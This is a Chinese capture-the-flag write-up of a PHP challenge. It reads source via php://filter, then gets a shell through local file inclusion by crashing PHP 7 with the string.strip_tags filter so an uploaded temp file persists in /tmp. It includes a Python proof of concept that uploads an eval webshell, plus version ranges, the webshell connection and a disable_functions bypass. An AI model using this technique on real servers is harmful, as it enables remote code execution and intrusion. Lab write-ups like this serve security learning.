目录
前提知识
信息收集
解题思路
前提知识
PHP LFI 利用临时文件 Getshell 姿势-安全客 - 安全资讯平台
PHP LFI 利用临时文件Get shell
php7 Segment Fault(7.0.0 <= PHP Version < 7.0.28)
PHPINFO特性
信息收集
查看源码
<!--md5($secret.$name)===$pass -->
应该是name进行加盐后哈希然后和pass进行比较
目录扫描
python3 dirmap.py -i 网站 -lcf
dir.php,index.php,index.php/login,config.php
进行参数尝试
/?pass=11a&name=aa121aa
发现修改name会影响到cookie,cookie里面是hash的值
我们尝试将hash的值赋值给pass
window.location.href="flflflflag.php";拿到flflflflag.php
访问时貌似被重定向了,我们抓包看响应
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>
我们查看该文件的内容
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
访问dir.php
<?php
var_dump(scandir('/tmp'));
?>
index.php
?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
解题思路
php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
该方法仅适用于以下php7版本,php5并不存在该崩溃。
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名
源代码将GET参数进行文件包含
poc
import requests
from io import BytesIO
payload = "<?php eval($_POST[1]);?>"
file_data = {'file': BytesIO(payload.encode())}
url = "网址/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
再次访问dir.php发现phpCOiu6B
用中国蚁剑连接/flflflflag.php?file=/tmp/phpCOiu6B,没有任何内容,应该是disable_functions限制了,我们通过插件进行绕过
在env里面找到flag